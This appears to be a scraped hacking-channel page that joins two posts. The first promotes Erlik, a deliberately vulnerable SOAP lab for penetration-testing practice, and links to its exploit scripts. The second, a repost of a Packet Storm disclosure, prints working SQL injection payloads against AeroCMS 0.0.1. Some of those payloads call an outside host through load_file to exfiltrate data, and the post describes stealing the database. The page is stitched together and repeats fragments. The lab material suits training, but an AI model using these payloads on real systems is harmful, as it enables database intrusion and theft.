KitPloit - PenTest Tools!
Erlik - Vulnerable Soap Service

https://blogger.googleusercontent.com/img/a/AVvXsEgJyVALIqobBePJ7AF6fxOgL7yeZOyJL8kZ-iqIitRH1Z8gfvWaScphMwWMiGXzoUf5_diBAv4jCVxUNfsIpy17goIRR-tZbKbjHjdYefVVoum9KEgk9lZua3Sor3QFDprpajX2IZOmQa1mzxGdwVF6NHcZ4Nw3sBIedOB8px5xslG-zzgRt38piMRGXw=w640-h364 Erlik - Vulnerable Soap Service

Tested - Kali 2022.1 DescriptionIt is a vulnerable SOAP web service. It is a lab environment created for people who want to improve themselves in the field of web penetration testing. FeaturesIt contains the following vulnerabilities.
* LFI
* SQL Injection
* Informaion Disclosure
* Command Inejction
* Brute Force
* Deserialization Installationgit clone https://github.com/anil-yelken/Vulnerable-Soap-Service

cd Vulnerable-Soap-Service

sudo pip3 install requirements.txt Usagesudo python3 vulnerable_soap.py https://blogger.googleusercontent.com/img/a/AVvXsEgyUO5_ung-EYlgmf8WqrpIs0PC7UemYh0hQSxApmF3tevnmNyAsZHo_4cgYukdmuOs8IpnNe5e0LcBXsA5KSXqfIjyNX0DeKo2TJBYXiFkU-cE3E55cphgFWryCyld-cxIurHe4WNo3FmU9CNDTJuppKFgVcYttX-7MfsrJ2hX984WPlixSgQPYqFhJw=w640-h76 Exploiting VulnerabilitiesLFICode:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/lfi.py https://blogger.googleusercontent.com/img/a/AVvXsEgKL8hCFisc1ZwbNcAbD5Y9wboODPcldw2TT0iyBf43Az7C6JXEwmzmHq_fVhb-hzytN09w5rLm5ckpOLXSnsaS1V4QEnVWe0tjMu85CE-z41UryG6BVz8Vtk-4UjVATijW0N1gKCYkF6TQVwxt4hWuV8Mn_q0EBI_OuRcTKMGFH68pgw1Nv0E1NkLZZw=w474-h640 SQL InjectionCode:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/sqli.py https://blogger.googleusercontent.com/img/a/AVvXsEgJyVALIqobBePJ7AF6fxOgL7yeZOyJL8kZ-iqIitRH1Z8gfvWaScphMwWMiGXzoUf5_diBAv4jCVxUNfsIpy17goIRR-tZbKbjHjdYefVVoum9KEgk9lZua3Sor3QFDprpajX2IZOmQa1mzxGdwVF6NHcZ4Nw3sBIedOB8px5xslG-zzgRt38piMRGXw=w640-h364 Informaion DisclosureCode:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_logs_information_disclosure.py https://blogger.googleusercontent.com/img/a/AVvXsEh-YShSqrr06u7v2t5HH8d3RRto9WLeMsa_rvpJF_Yqo3qyrPSJCXijD7Khg08p3j-i60nMawalzqPa7R23n7KadSh2BDHT39lX4EEWlWqjSQ4GzWVJGKlY85fyu3Cwq0aWG_D6mglHFbs_31dHh3PxQpw8yzR2n9StGeMS-SDoS2HqmOYHZfmm3sL6fA=w640-h512 Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_data_information_disclosure.py https://blogger.googleusercontent.com/img/a/AVvXsEjSjRw97e5KoDjCF-rpKxVrKmpP4opcfgJBCEtD_m-pWUQ1bzmrP8pRnZVbQFV2uFVRMT6k7eEmc8iub8m0tElVM_9MdGxAQ0_iR41KtmZw417OoGo1nYIRptyPRNwhsJ-x3u-se5rx5k8SCxAYjPHE2-I30AQe1eDXVMzXbAEQseCU_3LWgtRmLsztQg=w490-h640 Command InjectionCode:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/commandi.py https://blogger.googleusercontent.com/img/a/AVvXsEhSP3zmLmVx_CZKlnIhkKhCVMx4QZsjH5faXJeTRNvl75ku2N2-8KIeDCTQhkvTODX9l58__ebyCbYq5CUlLEyGlgFAWH1YD4qEZmemeor0vfLJN23IMx4Dz5i77b19XfeS9nH-ybVQ1heJztyFMbumdIavkQIVUsxxTkDzIKpQhcOH7MpzFxx6Aq45rg=w640-h360 Brute ForceCode:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/brute.py https://blogger.googleusercontent.com/img/a/AVvXsEj92OEMWRoNNqAq2to6WPSrkVlZ8JHaARKxi0cCh2ug7wKU-g0zRWvOjrV0xxOPjlo0j1Zb98D0QbU8aq2ZlxznLdg4MmFsmdGM1Hi0ewA6Ji6kAFSTbJwWqVry1P1Xpo4PEK44N1Uyxetz1qsD255_jlfshZccz71zlJQ6OlD9as3f2kQ6SMlZUq2O-w=w540-h640 DeserializationCode: https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_socket.py https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_requests.py https://blogger.googleusercontent.com/img/a/AVvXsEjvlghHB3f4eyknZfHEtdzoFfZa866Yh_juVFuBrGX4W7oKAftXb_BpCHtCHgJT2kMX-VXgjrZ-eBGVZsadZ0t2sz1IZpti40u1BsYBioHSIJA30UnMJWAEOLPoHRpkv3AnAkz3DNcjD73xlXYSyv1T2IF3YBC1c1m6WCQF0qEQPvpspRMINEFP4F31vQ=w640-h378 Download Vulnerable-Soap-Service

___________________________
@hacking_Attack
@Hacking_Video

Erlik - Vulnerable Soap Service
http://www.kitploit.com/2022/08/erlik-vulnerable-soap-service.html

___________________________
@hacking_Attack
@Hacking_Video

Erlik - Vulnerable (https://www.kitploit.com/search/label/Vulnerable) Soap Service Tested - Kali (https://www.kitploit.com/search/label/Kali) 2022.1 Description It is a vulnerable SOAP web service. It is a lab environment (https://www.kitploit.com/search/label/Lab%20Environment) created for people who want to improve themselves in the field of web penetration testing.
Features It contains the following vulnerabilities. LFISQL InjectionInformaion DisclosureCommand InejctionBrute ForceDeserialization Installation git clone https://github.com/anil-yelken/Vulnerable-Soap-Service cd Vulnerable-Soap-Service sudo pip3 install requirements.txt Usage sudo python3 vulnerable_soap.py

___________________________
@hacking_Attack
@Hacking_Video

Exploiting Vulnerabilities LFI Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/lfi.py

___________________________
@hacking_Attack
@Hacking_Video

SQL Injection Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/sqli.py

___________________________
@hacking_Attack
@Hacking_Video

Informaion Disclosure Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_logs_information_disclosure.py

___________________________
@hacking_Attack
@Hacking_Video

Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_data_information_disclosure.py

___________________________
@hacking_Attack
@Hacking_Video

Command Injection Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/commandi.py

___________________________
@hacking_Attack
@Hacking_Video

Brute Force Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/brute.py

___________________________
@hacking_Attack
@Hacking_Video

Deserialization Code: https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_socket.py https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_requests.py

___________________________
@hacking_Attack
@Hacking_Video

Download Vulnerable-Soap-Service (https://github.com/anil-yelken/Vulnerable-Soap-Service)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AeroCMS 0.0.1 SQL Injection

https://3.bp.blogspot.com/-jrxagBWWEzc/WWlvX2ct0sI/AAAAAAAAIOc/SeYUuYsvaHQ6pP3Hky0NtyeOgPg6HpFpgCLcBGAs/s1600/h54.png
AeroCMS version 0.0.1 suffers from a remote SQL injection vulnerability.

SHA-256 | 6ad6e0c3d5d0d42b2784f9f7f7a8d4b0d53123b46c7de609a3173db9ed01f80a

Download
## Title: AeroCMS-v0.0.1 SQLi
## Author: nu11secur1ty
## Date: 08.27.2022
## Vendor: https://github.com/MegaTKC
## Software: https://github.com/MegaTKC/AeroCMS/releases/tag/v0.0.1
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi

## Description:
The `author` parameter from the AeroCMS-v0.0.1 CMS system appears to
be vulnerable to SQL injection attacks.
The malicious user can dump-steal the database, from this CMS system
and he can use it for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: author (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT
(ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4

Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: author=admin'+(select
load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''
UNION ALL SELECT
NULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b6d517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi)

## Proof and Exploit:
[href](https://streamable.com/ir9bjt)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video